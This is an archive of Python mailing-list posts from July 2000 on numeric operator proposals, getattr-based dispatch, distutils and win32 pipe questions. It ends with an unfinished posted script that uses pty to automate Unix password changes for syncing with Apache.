>    This really depends on issue 3 above.  
> 
>    - If it is intended that these thing should never acquire a meaning
>      outside numerical computation, they should be called __mmul__,
>      __emul__, etc, because that would describe the intension well.
> 
>    - If other classes, like UserList, are allowed to use them, it's better
>      to use __dotmul__, __atmul__, etc, so the association with the symbols
>      are strong.
> 
>    - Someone mentioned __altmul__ for @*, meaning alternative mul.

Not ready to dive in here till some other stuff is resolved.

> 
> 5. Other bits and pieces:
> 
>    - How to deal with left division?
> 
>     (1) Use sol(a,b)
>     (2) use /@ or /.
>     (3) use %

'%' is already a valid elementwise operator and to have "%" and ".%"
mean completely different things is not good, so (3) is out. 

I think (2) only makes sense if the ".x" operators are matrixwise. It
seems just too weird to have "/" be right division "/." be left
division and "./" be elementwise. It's much more sensible to have "/"
be elementwise, "/." be left division, and "./" be right division for
instance.

If possible I would like to avoid (1). 'sol' would almost certainly be
in the a seperate module and this is potentially painful.

>    - How to deal with power?  It is already two characters
> 
>     (1) Use ** and .** or @**
>     (2) Steal ^ with .^ or @^ (not much chance, just mentioning here)

It's gotta be (1). Unless a limited set of operations is considered
(see below), then _maybe_ ".^".

>    - Do we want a copy operator := which is different from =?  It allows
>      efficient code.  The following code does not change A
>          B := A
>          B += C
>      This definitely will be usable for other classes. Call it __copy__?

This seems to be a general request and not particularly numeric
specific. And I don't think it adds much in the way of
functionality. I would drop this. 

>    - Since augmented assignment almost certainly will get in the core, we
>      need to consider combining them.  A few possible opinions
> 
>      (1) Just use prefix . or @ to mean e or m, use suffix = to mean in
>          place assignment, and all are well defined.
> 
>      (2) a .**= 3 looks too long.  Don't combine them.
> 
>      (3) allow .+=, etc but ban .**=.

Here I'd go with (1), consistency over beauty.


After rereading my answers to the above, I'm going to have to come
down on the side of ".x" being matrixwise, despite the clash with
sequence concatenation and replication. It removes the ambiguity of
the grammer, it makes more sense with "./" and "/." and it's consistent
with NumPy. 

I'm not yet convinced as yet that all of these operators are needed;
the +, - and .+, .- operators are very similar in behaviour. The main
reason they are present seems to be orthogonality. I'm sure this has
been brought up before, but does MatLab have both broadcasting and non
broadcasting versions of its operators? Is it worth considering adding
only the matrix operators .*, ./, /., and(?) .** and letting NumPy/
MatPy choose whether they wish to broadcast or not? It seems that the
difference between .* and * is different in character than the
proposed difference between .+ and +; in one it's between elementwise
and matrixwise operations, and in the second it's between broadcasting
and nonbroadcasting operations. Yes, you can think of the second in
terms of the first, but it still feels a bit forced to me.

Based on my ramblings I'll toss out a proposed operator set for the
pack to feed upon:

	Operator	Name
          .*             matmul
          ./             matdiv
          /.             matsol
          .** or(?) .^   matpow
	  *		 mul
	  /		 div
	  %,^,&,|,**     mod, xor, and, or, pow

With broadcasting / nonbroadcasting decided by the individual packages.

My 3 cents.

-tim




From sblakey at freei.com  Mon Jul 17 20:19:12 2000
From: sblakey at freei.com (Sean Blakey)
Date: Mon, 17 Jul 2000 17:19:12 -0700
Subject: event handler advice
In-Reply-To: <8l033n$pr2$1@la-mail4.digilink.net>; from pete@visionart.com on Mon, Jul 17, 2000 at 03:49:02PM -0700
References: <8l033n$pr2$1@la-mail4.digilink.net>
Message-ID: <20000717171912.A25518@freei.com>

On Mon, Jul 17, 2000 at 03:49:02PM -0700, Pete Shinners wrote:
> i'm trying to write a simple event handler python class.
> so far i haven't come up with an 'elegant' solution i was
> expecting.
> 
    <<snipped by Sean Blakey>>
> 
> my guess is i need some dictionary that defines the
> messages and their routine name (no shortcut way to do
> this unless python had #define like macros :])
> 
> messages = {msg.INIT:"INIT", msg.PLAY:"PLAY", ...etc}
> 
> then a routine like
> 
> class basehandler:
>     def handle(messageid):
>         name = messages[messageid]
>         self.name()   #HAHA, no really, how do i do this?
> 
> but i'm not exactly sure how to write this. need help, thx
> 
> 
> 
Probably he simplest solution is along the lines of:

class basehandler:
    def handle(messageid):
        name = messages[messageid]
        bound_method = getattr(self, name)
        bound_method()

Personally, I would be more comfortable with:

class basehandler:
    def handle(messageid):
        try:
            name = messages[messageid]
            bound_method = getattr(self, name)
        except KeyError:
            if __debug__: print 'Invalid message sent', messageid
            # or other error handling (syslog?)
        except AttributeError:
            if __debug__: print 'Unhandled message received', name
            # other misc error handling
        else:
            bound_method()

This approach allows trapping of "illegitimate" messages (or messages you
haven't gotten around to implementing yet) without the nastiness of an unhandles
exception.
        -Sean

-- 
Sean Blakey, sblakey at freei.com
Software Developer, FreeInternet.com
(253)796-6500x1025
"It ain't so much the things we don't know that get us in trouble.  It's the
things we know that ain't so."
-- Artemus Ward aka Charles Farrar Brown



From thomas at xs4all.net  Sun Jul 16 05:23:48 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sun, 16 Jul 2000 11:23:48 +0200
Subject: Neil Schemenauer's GC patch in python1.6?
In-Reply-To: <0k1sOJAQmQc5Ew5z@jessikat.fsnet.co.uk>; from robin@jessikat.fsnet.co.uk on Sun, Jul 16, 2000 at 02:02:08AM +0100
References: <396F28A1.A181BF39@email.sps.mot.com> <3dn1jkljwy.fsf@kronos.cnri.reston.va.us> <rNL7kWAr+Jc5Ewpe@jessikat.fsnet.co.uk> <20000716012003.L7340@xs4all.nl> <0k1sOJAQmQc5Ew5z@jessikat.fsnet.co.uk>
Message-ID: <20000716112348.O7340@xs4all.nl>

On Sun, Jul 16, 2000 at 02:02:08AM +0100, Robin Becker wrote:

> In article <20000716012003.L7340 at xs4all.nl>, Thomas Wouters
> <thomas at xs4all.net> writes
> >On Sat, Jul 15, 2000 at 06:30:19PM +0100, Robin Becker wrote:
> >[ amk explains cycle-GC will be in 2.0, though possibly optionally ]
> >> If GC has finally/nearly made it, what about Chris Tismer's stackless?
> >
> >A different story altogether. I'm sure Christian can give a better
> >explanation that I can, but I believe the main showstopper is the fact it's
> >impossible to implement (currently) in JPython, not to mention future Python
> >compilers. There may be a lot more behind it, though.

> bit strange that features/defects in java should determine where python
> goes. I would certainly like generator style programming to be easier.

Not really. Unlike Perl<wink>, Python is more than its implementation.
JPython is a popular implementation on its own, and shouldn't be treated
like some backward kid ;-) I'm fairly certain this isn't the only problem
though: stackless code is pretty complex, incorporating it means a lot
changes in Python's innards, it means all developers that hack there have to
adjust to it. It also means totally new ways of programming, which may be
contra to what Guido wants with Python. And don't forget that Stackless
still has no 'killer app'; there isn't a package that requires stackless
that has everyone going 'add stackless!'

These arguments are pretty old, though, so I'm not sure if they still hold.
Probably not, in fact ;-)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From rumjuggler at cryptarchy.org  Sat Jul  8 23:31:09 2000
From: rumjuggler at cryptarchy.org (Ben Wolfson)
Date: Sun, 09 Jul 2000 03:31:09 GMT
Subject: win32pipe question
Message-ID: <dksfmscfpmbd3c3mje1ksbqomia90udafe@4ax.com>

I don't know if this is the way pipes work or not, in which case this might
be a general pipe question, but I'm using the win32pipe module, so.  When I
use popen2 to get input to and output from a process, I find that if I try
to read from the the out pipe before the process has completely finished,
the program hangs, but if I keep writing until I'm done and the process
exits, then read, it's fine.  Is there a way to read and write as the
process runs, instead of doing one, then the other?
I'm on win98, btw.

-- 
Barnabas T. Rumjuggler

That happens to me often: I'll find an old coffee on the bookshelf or a
banana on the mantelpeice or myself halfway up the ladder to the attic and
not know how the old coffee, the banana, or I arrived at those places.
 -- Russell Hoban, _The Medusa Frequency_


From mcknight at email.unc.edu  Fri Jul 21 09:10:33 2000
From: mcknight at email.unc.edu (Sean McKnight)
Date: Fri, 21 Jul 2000 09:10:33 -0400
Subject: setup.py and NumPy
Message-ID: <39784BC9.FBD411FF@email.unc.edu>

Hello,

I am new to Python and would like some help with the "setup.py" script
and NumPy.  I have
run the "setup.py" script and I get the following result:

% python setup.py build
running build
running build_py
not copying Lib/ArrayPrinter.py (output up-to-date)
not copying Lib/FFT.py (output up-to-date)
not copying Lib/LinearAlgebra.py (output up-to-date)
not copying Lib/MLab.py (output up-to-date)
not copying Lib/Matrix.py (output up-to-date)
not copying Lib/MA.py (output up-to-date)
not copying Lib/Numeric.py (output up-to-date)
not copying Lib/Precision.py (output up-to-date)
not copying Lib/RandomArray.py (output up-to-date)
not copying Lib/UserArray.py (output up-to-date)
running build_ext
building '_numpy' extension
gcc -c -IInclude -I/usr/local/include/python1.6 -g -O2
Src/_numpymodule.c -o build/temp.sunos5-sun4u/Src/_numpymodule.o
Src/_numpymodule.c:1: Python.h: No such file or directory
error: command 'gcc' failed with exit status 1

The problem is that the search path for the "Python.h" include file is
incorrect.  I have installed
python in another location since I do not have write access to
"/usr/local".  I have looked at the
disutils documentation but have been unable to determine what needs to
be done in order
to change the  include path from the standard location of
"/usr/local/include/python1.6"
to a non-standard location.  I have the python binary in my path and
have set the PYTHONHOME
env. variable but this does not seem to have any effect.

Thanks!
Sean



--------------------------------------------------------------------------------
Sean McKnight

Department of Geography
University of North Carolina at Chapel Hill
Campus Box 3220
203 Saunders Hall
Chapel Hill, NC   27599-3220

Phone:  (919) 962-3870
Email:  mcknight at email.unc.edu
--------------------------------------------------------------------------------





From root at rainerdeyke.com  Sat Jul  8 00:36:25 2000
From: root at rainerdeyke.com (Rainer Deyke)
Date: Sat, 08 Jul 2000 04:36:25 GMT
Subject: Palm Python?
References: <8h8jmc$t9i$1@gaia.cdg.acriter.nl> <14649.14534.184930.984180@malibu.aero.org> <FvLsJJ.CAC.0.bloor@torfree.net> <3939FFB4.A7824367@mindspring.com> <da1eh8.r4g.ln@demonseed.net> <m3zooxhm9k.fsf@chinon.cnrs-orleans.fr> <slrn8md52n.gb2.bwinton@tor.dhs.org>
Message-ID: <ddy95.10216$6y5.10240574@news2.rdc2.tx.home.com>

"Blake Winton" <bwinton at tor.dhs.org> wrote in message
news:slrn8md52n.gb2.bwinton at tor.dhs.org...
> "Why can't I name two functions the same when they're in different
> files, and I only use them in their respective files?"  Too used to
> OO, I guess.

You can; just declare them as static.


--
Rainer Deyke (root at rainerdeyke.com)
Shareware action/role-playing games      -      http://rainerdeyke.com
"In ihren Reihen zu stehen heisst unter Feinden zu kaempfen" - Abigor




From dcalvelo at pharion.univ-lille2.fr  Tue Jul 18 13:33:53 2000
From: dcalvelo at pharion.univ-lille2.fr (Calvelo Daniel)
Date: 18 Jul 2000 17:33:53 GMT
Subject: Line numbers outside exceptions
References: <396F524B.33D636A2@home.com>
Message-ID: <8l24e1$d2g$1@netserv.univ-lille1.fr>

Ivan Van Laningham <ivanlan at home.com> wrote:
: Hi All--

Hola.

: Is there a standard way, not too horrific, to retrieve the current line
: number in a script at run-time outside of an exception context?

"Not too horrific" I would say no. You have "somewhat hacky" ways of 
retrieving the line number from the bytecode of function spam:

Python 1.5.2 (#0, Apr  3 2000, 14:46:48)  [GCC 2.95.2 20000313 
(Debian GNU/Linux)] on linux2
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> def spam(n="eggs"):
...   print n
...   return n
... 
>>> spam.func_code.co_code 
'\177\001\000\177\002\000|\000\000GH\177\003\000|\000\000Sd\000\000S'

In that last string, the two bytes (this may be platform-specific) after
a '\177' are line numbers. See 'dis'.

"At run-time"? You mean for the current line being executed? Really really 
dunno...

: Metta,
: Ivan

HTH

Daniel.

-- Daniel Calvelo Aros
     calvelo at lifl.fr


From paul at prescod.net  Tue Jul 18 22:51:50 2000
From: paul at prescod.net (Paul Prescod)
Date: Tue, 18 Jul 2000 21:51:50 -0500
Subject: zip or marry etc
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk>
Message-ID: <397517C6.93911CF0@prescod.net>

Robin Becker wrote:
> 
> I suppose there must be something desperately wrong with using the
> __mul__ for sequences to indicate the set pairwise product. I would
> certainly be for
> 
> x,y in A*B rather than x,y in zip(A,B) or marry(A,B), but since * is the
> obvious operator it must be that someone else has reserved it.

We aren't looking for the set pairwise product (which I am taking as a
synonym for cross-product). We're looking just to pair up elements.

-- 
 Paul Prescod - Not encumbered by corporate consensus
Just how compassionate can a Republican get before he has to leave the 
GOP and join Vegans for Global Justice? ... One moment, George W. Bush
is holding a get-to-know-you meeting with a bunch of gay Republicans.
The next he is holding forth on education or the environment ... It is
enough to make a red-blooded conservative choke on his spotted-owl
drumstick.     - April 29th, Economist





From moron at Glue.umd.edu  Fri Jul 21 02:08:11 2000
From: moron at Glue.umd.edu (Warren B. Focke)
Date: 21 Jul 2000 02:08:11 -0400
Subject: Dot-comma, anyone? (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <397684EB.3E0C5D88@my.signature> <8l68s5$3ht$1@nnrp1.deja.com> <3977C173.B93EB70B@my.signature>
Message-ID: <8l8pcb$5l7@stochastic.eng.umd.edu>

quoth Greg Ewing:
>Matthias wrote:
>> 
>>  for x,y,z in a&b&c:
>
>But a&b&c parses as (a&b)&c, which is not what
>we want at all!

I was going to bring that up, but remembered comparisons: 
a < b < c is not the same as (a < b) < c.

Warren Focke
-- 
I am Dyslexic of Borg.  Prepare to have your ass laminated.


From tsmets at altern.org  Mon Jul 24 19:54:48 2000
From: tsmets at altern.org (Thomas SMETS)
Date: Mon, 24 Jul 2000 23:54:48 GMT
Subject: inserting integer in Table
Message-ID: <397CEEA4.7683A17@altern.org>

In PostgreSQL table is :
<snip>
test=> \d  test_blob_s;
Table    = test_blob_s
+----------------------------------+----------------------------------+-------+
|              Field               |              Type                |
Length|
+----------------------------------+----------------------------------+-------+
| filenumber                       | int4                            
|     4 |
| filename                         | varchar()                       
|   100 |
| filecontent                      | oid                             
|     4 |
+----------------------------------+----------------------------------+-------+
test=>
</snip>


Now I'm willing to insert in that table rows like this one :
<i>, <file_name_i>, <file_name_i_content>. 

Here's is the (not-so-running) code :

<snip>
#
#
# ############################################
import os, glob
from pg import DB

conn=DB('test')
conn.query("BEGIN WORK;")

i = 0
for name in glob.glob("*.jpg"):
    print "Name is ", name,
    try:
        conn.query("insert into test_blob_s  filenumber  values (" + i +
")")
        print " inserted"
    except TypeError,e:
            print '\nerror ', e, 'undefined'    
#    conn.query( "update test_blob_s set filename = '" + name + "')")
#    conn.query( "update test_blob_s set filecontent = '" +
lo_import(name) + "')")

    i = i + 1

conn.query(" COMMIT WORK;");

</snip>


of course I can't have it passing the insert of "i"
Could some one help ?

Thomas,





-- 

Thomas SMETS                           Phone : +32 (0)2 742. 05. 94.
Av. de la Braban?onne 133 / 3          e-mail : tsmets @altern.org
1030 Bruxelles

==== Quote of the day =========
You shouldn't wallow in self-pity.  But it's OK to put your feet in it
and swish them around a little.
		-- Guindon
 ======= End of Quote =========


From smoriano at sicon.net  Tue Jul 25 07:19:45 2000
From: smoriano at sicon.net (sergio)
Date: Tue, 25 Jul 2000 13:19:45 +0200
Subject: SIMPLE QUESTION
Message-ID: <397D77D1.A331770A@sicon.net>

 Hi all
    I''ve imported a dll into a .py file, but when i try to use a
function i get the error

Traceback (innermost last):
  File "<interactive input>", line 0, in ?
TypeError: unbound method must be called with class instance 1st
argument


The question is , how can i get the "class instance", or maybe i have to
pass a string with the name of the class on the first argument.

  Thanks in advance for all your responses




From effbot at pythonware.com  Tue Jul 25 09:23:43 2000
From: effbot at pythonware.com (effbot at pythonware.com)
Date: Tue, 25 Jul 2000 13:23:43 GMT
Subject: Python 3000
References: <8li7ah$ign$1@serv1.albacom.net> <IKff5.11748$4p3.89549@news-server.bigpond.net.au> <8lk1ee$71q$1@slb6.atl.mindspring.net> <O%ff5.11777$4p3.90266@news-server.bigpond.net.au> <8lk2kg$kbv$1@nntp9.atl.mindspring.net>
Message-ID: <8lk4cp$i9c$1@nnrp1.deja.com>

Aahz Maruch wrote:
> Yes, I know about the soap opera.  The fact remains that 1.6
> will almost certainly never be a released chunk of code -- it
> never had a beta!

looks like you've missed the last episode.

according to plans, 1.6 beta 1 will be released in
about a week.  for more info, see PEP-160:

   http://python.sourceforge.net/peps/

</F>


Sent via Deja.com http://www.deja.com/
Before you buy.


From rupole at compaq.net  Sun Jul  9 09:48:48 2000
From: rupole at compaq.net (Roger Upole)
Date: Sun, 09 Jul 2000 13:48:48 GMT
Subject: How to use makepy?
References: <8k9o91$7b1$1@supernews.com>
Message-ID: <4p%95.10247$A06.1298430@pouncer.easynews.com>

It should speed up your COM calls.  Also, you can browse thru the
generated file and see all the properties and methods of the COM
object.
Once the object has been created, the constants will be available as
win32com.client.constants.someconstantname.
There is a Readme.html in the /win32com directory, and more documentation in
  /win32com/HTML/QuickStartClientCom.html.
             HTH
                 Roger Upole

"News.tele2.co.uk" <dale at out-think.NOSPAM.co.uk> wrote in message
news:8k9o91$7b1$1 at supernews.com...
> Well I've run it and it seemed to work but I'm not really sure what to do
> next.
>
> In fact, I'm not entirely sure what it's supposed to do for me but I'm
> hoping it will at least give me access to some COM object constants.
>
> Where is it documented?
>
> Thanks
>
> Dale Strickland-Clark
>
>
>
>




From darrell at dorb.com  Sat Jul  1 21:05:15 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Sat, 1 Jul 2000 18:05:15 -0700
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <Esm75.3448$Tb7.23118@news-server.bigpond.net.au>
Message-ID: <033e01bfe3c1$959868d0$6401a8c0@home>

From: "Mark Hammond" <MarkH at ActiveState.com>
> Just to stoke the flames a little...
> 
> Check out some of the talks at the upcoming PDC -
> http://www.pdc.mscorpevents.com/sessions.asp?tracks=6 - look for Python

Hey! Is this something you've been working on?
So all these vendors are on board with integration into this new framework?
I want to know the rest of the story now.

--Darrell Gallion




From jvickroy at sec.noaa.gov  Fri Jul 21 09:54:22 2000
From: jvickroy at sec.noaa.gov (j vickroy)
Date: Fri, 21 Jul 2000 07:54:22 -0600
Subject: process id from os.system
References: <3977482B.478D2754@sec.noaa.gov> <m3bszsnfcl.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <3978560E.DFBC1522@sec.noaa.gov>

Thanks very much for calling this to my attention.

Michael Hudson wrote:

> j vickroy <jvickroy at sec.noaa.gov> writes:
>
> > How can I obtain the process id for a program launched via
> >
> >   os.system (theProgram) ?
> >
> > I would like to do this portability (Unix, Windows).
> >
> > Presently on Unix, I'm getting the pid by parsing the output from:
> >
> >   "ps -ef | grep theProgram"
> >
> > but that seems messy and unreliable since "theProgram" may be truncated
> > in the output from ps.
>
> I think you should be able to use the os.spawn* functions in
> 1.6^H^H^H2.0 for this, eg:
>
> >>> os.spawnlp(os.P_NOWAIT,"xterm","xterm")
> 4722
>
> the spawn* functions are easy-ish to implement in terms of exec* &
> fork; look here:
>
> http://cvs.sourceforge.net/cgi-bin/cvsweb.cgi/python/dist/src/Lib/os.py?rev=1.35&content-type=text/x-cvsweb-markup&cvsroot=python
>
> HTH,
> Michael
>
> --
> 8. A programming language is low level when its programs require
>    attention to the irrelevant.
>   -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20000721/21697fcf/attachment.html>

From ivanlan at home.com  Fri Jul 14 13:47:55 2000
From: ivanlan at home.com (Ivan Van Laningham)
Date: Fri, 14 Jul 2000 11:47:55 -0600
Subject: Line numbers outside exceptions
Message-ID: <396F524B.33D636A2@home.com>

Hi All--
Is there a standard way, not too horrific, to retrieve the current line
number in a script at run-time outside of an exception context?

Metta,
Ivan
----------------------------------------------
Ivan Van Laningham
Axent Technologies, Inc.
http://www.pauahtun.org 
http://www.foretec.com/python/workshops/1998-11/proceedings.html
Army Signal Corps:  Cu Chi, Class of '70
Author:  Teach Yourself Python in 24 Hours



From richard_chamberlain at ntlworld.com  Mon Jul 10 07:38:34 2000
From: richard_chamberlain at ntlworld.com (richard_chamberlain)
Date: Mon, 10 Jul 2000 12:38:34 +0100
Subject: Is there any grid/table in Tkinter ?
References: <07ga5.11385$BS1.314666@brie.direct.ca>
Message-ID: <izia5.9108$_O.150809@news2-win.server.ntlworld.com>

Hi,

There isn't one that I know of, however there are a few nice examples in tcl
which you could convert. Try looking at the links from
dev.ajubasolutions.com.

Richard

Fanny Yeung <fannyy at idmail.com> wrote in message
news:07ga5.11385$BS1.314666 at brie.direct.ca...
> Hi everybody,
>
> I am reading "Python and Tkinter Programming" and I am thinking of writing
a
> simple database application that need to show table of data ( something
> similar to grid control in VB or Jtable in Swing). I guess I can use
Canvas
> to implement that but I wonder anyone have implement this already ? If
yes,
> can I use it ? Or is there by any chance provided by Tkinter directly or
> indirectly ?
>
> Thanks
>
> Mak
>
>




From skeltobc at mailandnews.com  Tue Jul 11 08:24:48 2000
From: skeltobc at mailandnews.com (Ben)
Date: Tue, 11 Jul 2000 14:24:48 +0200
Subject: a show stopper with pygimp-0.5
Message-ID: <00071114244803.12022@avalon>

Hi

Im having a problem with pygimp v0.5. What am I messing here? Gimp works, the 
plugins with pygimp work, but...

>>> import gimp
>>> img = gimp.image (200,300,0)
 
GLib-CRITICAL **: file ghash.c: line 138 (g_hash_table_lookup): assertion 
`hash_table != NULL' failed.
 
** ERROR **: could not find handler for message: 5
aborting...
Aborted

cheers
--Ben





From matt at nightrealms.com  Wed Jul 26 01:08:44 2000
From: matt at nightrealms.com (Matthew Cline)
Date: Tue, 25 Jul 2000 22:08:44 -0700
Subject: conatraints on "for" magic?
References: <8llqso$q75$1@news.dtc.hp.com>
Message-ID: <7uuf5.13834$G7.486572@news-west.usenetserver.com>

In article <8llqso$q75$1 at news.dtc.hp.com>, weeks at golden.dtc.hp.com
((Greg Weeks)) wrote:

> How did the implementer of the "fileinput" module convince the "for"
> construct that fileinput.input() was a sequence?

You can subclass from UserList to have a class that acts like
a sequence.




From jkraska1 at san.rr.com  Sun Jul 23 01:30:01 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Sun, 23 Jul 2000 05:30:01 GMT
Subject: bit manipulation frustration
References: <397A6980.CF15DB96@san.rr.com> <B59FEFA3.6877%dgoodger@bigfoot.com> <397A7BB5.A6024F70@san.rr.com>
Message-ID: <397A839B.D3BCAF41@san.rr.com>

> > > get it?)
> > No..

The image is runs of values where 'X' represents a 16 bit RGB value.
It's like this:

XX
XXXX
XXXXXX
...

>From 2 to 44 to 2 again.

However, upon load, this needs to be converted to
a bitmap like this (where "-" is black, and X
is a 16 bit RGB value):

---------------------XX---------------------
--------------------XXXX--------------------
-------------------XXXXXX-------------------
------------------XXXXXXXX------------------
-----------------XXXXXXXXXX-----------------
----------------XXXXXXXXXXXX----------------
---------------XXXXXXXXXXXXXX---------------
--------------XXXXXXXXXXXXXXXX--------------
-------------XXXXXXXXXXXXXXXXXX-------------
------------XXXXXXXXXXXXXXXXXXXX------------
-----------XXXXXXXXXXXXXXXXXXXXXX-----------
----------XXXXXXXXXXXXXXXXXXXXXXXX----------
---------XXXXXXXXXXXXXXXXXXXXXXXXXX---------
--------XXXXXXXXXXXXXXXXXXXXXXXXXXXX--------
-------XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-------
------XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX------
-----XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-----
----XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX----
---XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX---
--XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX--
-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-
--XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX--
---XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX---
----XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX----
-----XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-----
------XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX------
-------XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-------
--------XXXXXXXXXXXXXXXXXXXXXXXXXXXX--------
---------XXXXXXXXXXXXXXXXXXXXXXXXXX---------
----------XXXXXXXXXXXXXXXXXXXXXXXX----------
-----------XXXXXXXXXXXXXXXXXXXXXX-----------
------------XXXXXXXXXXXXXXXXXXXX------------
-------------XXXXXXXXXXXXXXXXXX-------------
--------------XXXXXXXXXXXXXXXX--------------
---------------XXXXXXXXXXXXXX---------------
----------------XXXXXXXXXXXX----------------
-----------------XXXXXXXXXX-----------------
------------------XXXXXXXX------------------
-------------------XXXXXX-------------------
--------------------XXXX--------------------
---------------------XX---------------------

This is an isometric tile, where the only data
stored in the file is the diamond part of X's
in the middle. The -'s are all predictable, so
there's no reason to store them.

Ergo, I'm looking for the best way to create
a bitmap from something that isn't one.



C/


From jkraska1 at san.rr.com  Sat Jul 29 21:54:55 2000
From: jkraska1 at san.rr.com (Courageous)
Date: Sun, 30 Jul 2000 01:54:55 GMT
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com>
Message-ID: <39838BAC.C855EDCB@san.rr.com>

> >    Actually I think it would be easier for non-programmers to
> >learn a language if it has strict typing.
> 
> I concur. In non-programming, life is strictly typed. Allowed
> operations are determined by the type of the object. You can't
> make a phone call on a waffle-iron.

This is a conceptualization issue, and I suspect to a degree,
false. If "x" is merely a label, one can imagine x labeling
3 or x labelling red quite easily. Your analogy works because
you carefully framed it, but there's nothing at all to say that
your framing of it was right.

To the contrary; while I can't prove it, I do believe it's wrong.

C/


From smoriano at sicon.net  Tue Jul  4 08:00:18 2000
From: smoriano at sicon.net (sergio)
Date: Tue, 04 Jul 2000 14:00:18 +0200
Subject: PROCESS QUESTION
Message-ID: <3961D1D2.9C66B425@sicon.net>

  Hi all, I'm working in NT SERVER 4.0

How can i search the id of a process running, searching it by the name?

Thanks for all your responses




From alex_c at mit.edu  Tue Jul 18 07:46:52 2000
From: alex_c at mit.edu (Alex Coventry)
Date: 18 Jul 2000 07:46:52 -0400
Subject: pty.py: any example code out there?
References: <B5995041.6490%dgoodger@bigfoot.com>
Message-ID: <etdhf9nlkyb.fsf@nerd-xing.mit.edu>

Hi, David.

Here is something I wrote a little while back.  It works on Linux, at
least.  It's kind of ugly -- it's one of those things where I thought
it would be easy, but I kept having to deal with problems I hadn't
anticipated.  Hope the pty_Popen class helps as an example, though.
That part's fairly simple.

Alex.

#!/usr/bin/python 

# No warranty.  I don't have any money, anyway, so sue someone else,
# please.  Do as you wish with this code.

'''Sync up Apache and Unix passwords.'''

password_file = '/etc/htpasswd'

import os, pty, time, signal, getpass, pdb, sys, string, re

st = pdb.set_trace

class pty_Popen:

    def __init__ (self, command, args, delay=0.1):
        self.delay = delay
        # Clone this process in a separate thread.
        self.pid, self.child = pty.fork ()
        # In the child process, pid will contain 0.  In the parent,
        # it will contain the pid of the child.
        if self.pid == 0: # In the child process, so replace the python
                     # process with the requested command.
            os.execv (command, [''] + args)
        else: # In the parent process, which stays live
            pass

    def read (self, max_read):
        time.sleep (self.delay)
        return os.read (self.child, max_read)

    def write (self, text):
        time.sleep (self.delay)
        return os.write (self.child, text)


class UnexpectedProcessOutputError (Exception):
    pass


def get_effective_user ():
    effective_user = os.popen ('/usr/bin/whoami').readline ()
    assert effective_user[-1] == '\n'
    return effective_user[:-1]


class Passwd:

    def __init__ (self, username):
        self.username = username
        self.effective_user = get_effective_user ()
        self.log = []
        self.unexpected_process_output_p = None

    def execute (self):
        self.get_passwd_process () # Just for initial authentication.
        self.get_password ()
        self.change_password ()

    def get_password (self):
        while 1:
            self.new_password = getpass.getpass ('New password: ')
            if self.validate_password (self.new_password):
                break

    def validate_password (self, password):
        if password == self.current_password:
            print 'That\'s your old password!'
            return 0
        if re.search ("['\\\\]", password):
            print 'Please don\'t use single quotes or backslashes\n' \
                  'in your password.'
            return 0
        check_result = self.check_password_against_machine (password)
        if check_result != '':
            print 'This paranoid machine thinks that password is\n'\
                  'too easy to guess.  Please try something else.\n' \
                  'Its complaint was:'
            check_result = string.split (check_result, '\n')
            if len (check_result) >= 2 and check_result[-1] == \
               'New UNIX password: ':
                print string.strip (check_result[0])
            else:
                print string.join (check_result, '\n')
            return 0
        re_entry = getpass.getpass ('Please retype it, so I know ' \
                                    'there\'s no typos: ')
        if re_entry != password:
            print 'Mismatch.  Lucky I checked, huh?'
            return 0
        else:
            return 1

    def check_password_against_machine (self, password):
        # Go through the passwd exchange up to the point where the new
        # password is requested.
        self.get_passwd_process ()
        self.write (self.new_password)
        response = self.get_response ()
        # It it's accepted, it will ask for it to be retyped.
        if response == 'Retype new UNIX password:':
            return ''
        else:
            return response

    def change_password (self):
        self.get_passwd_process ()
        self.write (self.new_password)
